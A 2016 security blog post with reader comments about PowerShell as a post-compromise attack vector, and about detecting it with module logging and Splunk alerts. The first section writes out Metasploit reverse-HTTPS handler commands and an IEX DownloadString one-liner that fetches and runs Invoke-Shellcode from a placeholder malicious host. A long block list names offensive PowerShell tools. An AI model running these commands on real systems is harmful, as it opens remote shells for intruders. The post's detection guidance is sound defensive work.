Monday, January 18, 2016

PowerShell: A Traceless Threat and How to Protect Yourself

For the past little while I have been spending time learning about PowerShell and how it can be used as a subtle threat vector within your network. A number of PowerShell exploitation frameworks have popped up recently including PowerSploit and Empire, which Greg covered in length back in September. I, however, wanted to spend some time to show how subtle and insidious PowerShell can be when used as a threat medium.

As mentioned in an earlier post, according to Verizon's 2013 Data Breach Report 76% of breaches involved stolen or weak credentials, so, to start, this post will assume that you have already been exploited and the attacker potentially has admin or domain admin credentials to focus on PowerShell as a threat vector.

A huge thank you to the work done by Ryan Kazanciyan and Matt Hastings for their research on PowerShell attacks, which was the starting point and principal resource for research on this topic.

Downloading and Connecting to Metasploit

Once an actor gains access to a random Windows server within your environment the first action they will typically perform is to escalate privileges. PowerSploit has a nifty PowerShell module called Invoke-ShellCode that can invoke shellcode into a running process or even PowerShell itself. So for example, you can set up a Kali Linux server with a Metasploit server listening on port 443 for incoming shellcode commands:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST <Your local host>
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit
Then you can run the following commands to download and run the PowerShell Invoke-Shellcode script (default Invoke--Shellcode in the Git repositories. That was a wasted day and a half.) This will create an HTTPS connection back to a C&C Meterpreter shell, or worse:
IEX (New-Object Net.WebClient).DownloadString("https://<Malicious URL>/Invoke-Shellcode.ps1")
Invoke-ShellCode -Payload windows/meterpreter/reverse_https -Lhost <malicious IP> -Lport 443 -Force

Event Logging

Because both the download and ShellCode connections are via HTTPS most perimeter IPS/AntiVirus will not inspect them. The ShellCode runs in memory and doesn't hit the disk, leaving it very difficult to detect by both Antiviruses and classic forensics, but the important thing to focus on here is how PowerShell logs these events while hunting. Executing the above on a Windows 2008 R2 OS with PowerShell 2.0 generates only three relevant events in the Windows PowerShell event log:
The Windows PowerShell Event Log After Executing ShellCode in PowerShell

Leaving basically three events to go by:
Engine state is changed from None to Available.
Engine state is changed from Available to Stopped.
Provider "Certificate" is Started.
WinEventLog:Windows PowerShell
There is nothing in the event logs about running a script that invokes a ShellCode backdoor to my malicious C&C domain. Can you believe Windows Event Logs? Ridiculous. But security wise this is a serious concern since there is no indication of what commands or scripts were run, by whom, or what actions the system took. Running similar scripts such as Invoke-Mimikatz also produces roughly the same events from within a PowerShell context.

This is a well known limitation in PowerShell 2.0; however, the challenge is that most environments run operating systems that have PowerShell 2.0 installed by default default leaving organizations who don't use PowerShell having little reason to upgrade. This also leaves an active hole in an organization's security posture towards potential threat vectors. You can't understand what is happening if your system won't tell you.

PowerShell 3.0 comes with many improvements including improved logging, so running the above command on a machine with PowerShell 3.0 will give you the same three events in Windows PowerShell, but it will also give you a number of new events in both Windows-PowerShell/Operational and Windows-WinRM/Operational.

PowerShell Console Startup
Engine state is changed from None to Available.
PowerShell console is ready for user input

The Winrm service is starting
The Winrm service started successfully
The Winrm service is stopping
The Winrm service was stopped successfully

This is better--we are able to see that the powershell console was manually started and that the WinRM service was used in some capacity; but there is no knowledge of what scripts or commands were run or what the results of said commands were. On a side note, while running Invoke-ShellCode I mistyped the URL and received an event log 4100 with the error message "No connection could be made because the target machine actively refused." More on that later, but for now the overall lack of usable events is frightening and cannot stand.

PowerShell Module Logging

One option is to add logging options to the global PowerShell profile; however, profiles can be easily bypassed by adding the "-NoProfile" flag to your commands. The best option, however, is to enable PowerShell Module Logging in your GPO [Edit: PowerShell 3.0+ is required on the system.] To do so go to to your Group Policy Editor -> Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell:

GPO Windows PowerShell Module Logging Location

The Windows PowerShell section will list the Turn on Module Logging section:
Windows PowerShell Module Logging Modules

Select Enabled and click the Modules Names: Show button:
Windows PowerShell Module Logging Properties

From there add the lines "Microsoft.PowerShell.*" and "Microsoft.WSMan.Management":

Module Logging for PowerShell and WSMan
Now, let's try the remote shellcode connection again:
Windows Event Log with Module Logging

It worked! We can see the commands that were executed. It worked... To well. We see around 300 events--one event for each command executed in the Invoke-Shellcode script. Well this is quite troubling. You are going to need a SIEM to process this type of volume, which we will use Splunk for this scenario.

Setting up Splunk for PowerShell Events

To input PowerShell events into Splunk, create a input.conf with the following stanzas:
[WinEventLog://Windows PowerShell]
disabled = false
index = wineventlog
These stanzas will read events from the Windows PowerShell event logs, which is where the PowerShell commands are saved. Alternative Windows Events that you can save for good posture are PowerShell Operational, PowerShell Analytic and WinRM Operational event logs. Use the following Stanza for each:

disabled = false
index = wineventlog

disabled = false
index = wineventlog

disabled = false
index = wineventlog
So now that we have our events into Splunk we need a way to search for malicious events. First, what is a malicious event in PowerShell? I like to look for keywords used in gfoss' PowerShell Command Line Logging list:
  • Set-ExecutionPolicy
  • Mimikatz
  • EncodedCommand
  • Payload
  • Find-AVSignature
  • DllInjection
  • ReflectivePEInjection
  • Invoke-Shellcode
  • Invoke--Shellcode
  • Invoke-ShellcodeMSIL
  • Get-GPPPassword
  • Get-Keystrokes
  • Get-TimedScreenshot
  • Get-VaultCredential
  • Invoke-CredentialInjection
  • Invoke-NinjaCopy
  • Invoke-TokenManipulation
  • Out-Minidump
  • Set-MasterBootRecord
  • New-ElevatedPersistenceOption
  • Invoke-CallbackIEX
  • Invoke-PSInject
  • Invoke-DllEncode
  • Get-ServiceUnquoted
  • Get-ServiceEXEPerms
  • Get-ServicePerms
  • Invoke-ServiceUserAdd
  • Invoke-ServiceCMD
  • Write-UserAddServiceBinary
  • Write-CMDServiceBinary
  • Write-UserAddMSI
  • Write-ServiceEXE
  • Write-ServiceEXECMD
  • Restore-ServiceEXE
  • Invoke-ServiceStart
  • Invoke-ServiceStop
  • Invoke-ServiceEnable
  • Invoke-ServiceDisable
  • Invoke-FindDLLHijack
  • Invoke-FindPathHijack
  • Get-RegAlwaysInstallElevated
  • Get-RegAutoLogon
  • Get-UnattendedInstallFiles
  • Get-Webconfig
  • Get-ApplicationHost
  • Invoke-AllChecks
  • Invoke-MassCommand
  • Invoke-MassMimikatz
  • Invoke-MassSearch
  • Invoke-MassTemplate
  • Invoke-MassTokens
  • HTTP-Backdoor
  • Add-ScrnSaveBackdoor
  • Gupt-Backdoor
  • Invoke-ADSBackdoor
  • Execute-OnTime
  • DNS_TXT_Pwnage
  • Out-Word
  • Out-Excel
  • Out-Java
  • Out-Shortcut
  • Out-CHM
  • Out-HTA
  • Enable-DuplicateToken 
  • Remove-Update
  • Execute-DNSTXT-Code
  • Download-Execute-PS
  • Execute-Command-MSSQL
  • Download_Execute
  • Get-PassHashes
  • Invoke-CredentialsPhish
  • Get-LsaSecret
  • Get-Information
  • Invoke-MimikatzWDigestDowngrade
  • Copy-VSS
  • Check-VM
  • Invoke-NetworkRelay
  • Create-MultipleSessions
  • Run-EXEonRemote
  • Invoke-BruteForce
  • Port-Scan
  • Invoke-PowerShellIcmp
  • Invoke-PowerShellUdp
  • Invoke-PsGcatAgent
  • Invoke-PoshRatHttps
  • Invoke-PowerShellTcp
  • Invoke-PoshRatHttp
  • Invoke-PowerShellWmi
  • Invoke-PSGcat
  • Remove-PoshRat
  • TexttoEXE
  • Invoke-Encode
  • Invoke-Decode
  • Base64ToString
  • StringtoBase64
  • Do-Exfiltration
  • Parse_Keys
  • Add-Exfiltration
  • Add-Persistence
  • Remove-Persistence
  • Invoke-CreateCertificate
  • powercat
  • Find-PSServiceAccounts
  • Get-PSADForestKRBTGTInfo
  • Discover-PSMSSQLServers
  • Discover-PSMSExchangeServers
  • Get-PSADForestInfo
  • Get-KerberosPolicy
  • Discover-PSInterestingServices
To search this in Splunk would be very expensive as a regex search, especially if you're putting this into an alert. Two options are to static-code a search of all of the above malicious values, or to create a CSV file that Splunk can use as a lookup for key words in the search. For example, create the CSV BadPowerShellCommands.csv with the heading BadPowerShellCommand and the commands in the column underneath and upload it to your /opt/splunk/etc/system/lookups folder. Now, run the search:
index=wineventlog sourcetype="WinEventLog:Windows PowerShell" [|inputlookup BadPowerShellCommands.csv| rename BadPowerShellCommand as search | format]
This will filter your PowerShell result set with anything containing a malicious command. Next, in the search page, click the Save As button and save as Alert:
Splunk Search with Save option for creating an Alert

Opens the Alert Creation window:
Alert creation screen

Depending on your environment you may need to play with the scenarios that you alert on, such as if your administrators are heavy PowerShell users you may want to whitelist your administrators until off hours/non-change window periods. I would also monitor for the command "Enable-PSRemoting" since this command enables the ability to remotely execute PowerShell commands on a local machine. Only administrators with a purpose should enable this feature.

Finally, depending on if your environment doesn't use PowerShell you can look for interactive PowerShell commands (or maybe just during off hours/non-change windows) such as "Invoke-Command" and "Enter-PSSession".


  1. As a follow on blog, you should consider comparing/contrasting Windows 10 PowerShell event logging. In a nutshell, it has more verbose default configurations.

    1. Oh good idea. Hopefully I'll have the time to do that soon.

  2. Q: What version of Windows you using for this? The Reg hacks do not seem to enable the extra logging in PS 4 on Win 7. All the articles use/set via GPO, but that is not always possible, say in a Lab...

    So do you have a Reg Tweak other than:
    HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging - EnableModuleLogging - Reg_SZ=1


    HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging - EnableScriptBlockLogging - Reg_SZ=1

    Which BTW work fine on Win 8.1 and 10.

    Trying to get this working on Win 7 just using Reg Hacks.

    Good Stuff!

    MalwareArchaeology com

    1. Windows 2008 R2 and Windows 7 were used for the lab tests. I'm not sure about modifying the registry directly, but if you figure it out I would be happy to add it to the article.

    2. P.S. I loved your talk "Deep Look Into a Chinese Advanced Attack" at DerbyCon and I'm a huge fan of your cheatsheets.
      For everyone else:

    3. @HackerHurricane if possible run RegShot on a DC and push this GPO policy, do a before and after and then RegShot will diff and compare the results for you. It should show the exact changes made which you can use to manually set these audit values.

    4. Does your Windows 7/2008R2 have powershell 3.0 installed? The module logging is on powershell 3.0+.

      I'll update my document to reflect this.

  3. Using PS 4 everywhere to mimic Win 8.1 and 10 defaults.

    RegShot ???? Have you heard of Log-MD? Our tool that not only does the Log-Dumps of important security related items that is now available - FREE, but upcoming version we do File Hash Diffs and Registry Diffs, even large reg keys and other fun stuff... ;-) But you will have to wait and beg us for a copy...


    I will do some testing... seems the ones who have done this all have used GPO.

    Thanks for the plugs !


    1. LOL I blasphemed, I should have known better than to mention RegShot to the Log-MD creator hahaha.

  4. You funny Canadians and your GUI's... ;-D~

  5. Correction - They are REG-DWORD for Win7

  6. we are offering best splunk online training with job support and high quality training facilities and well expert faculty . to Register you free demo please visit splunk training in hyderabad


Note: Only a member of this blog may post a comment.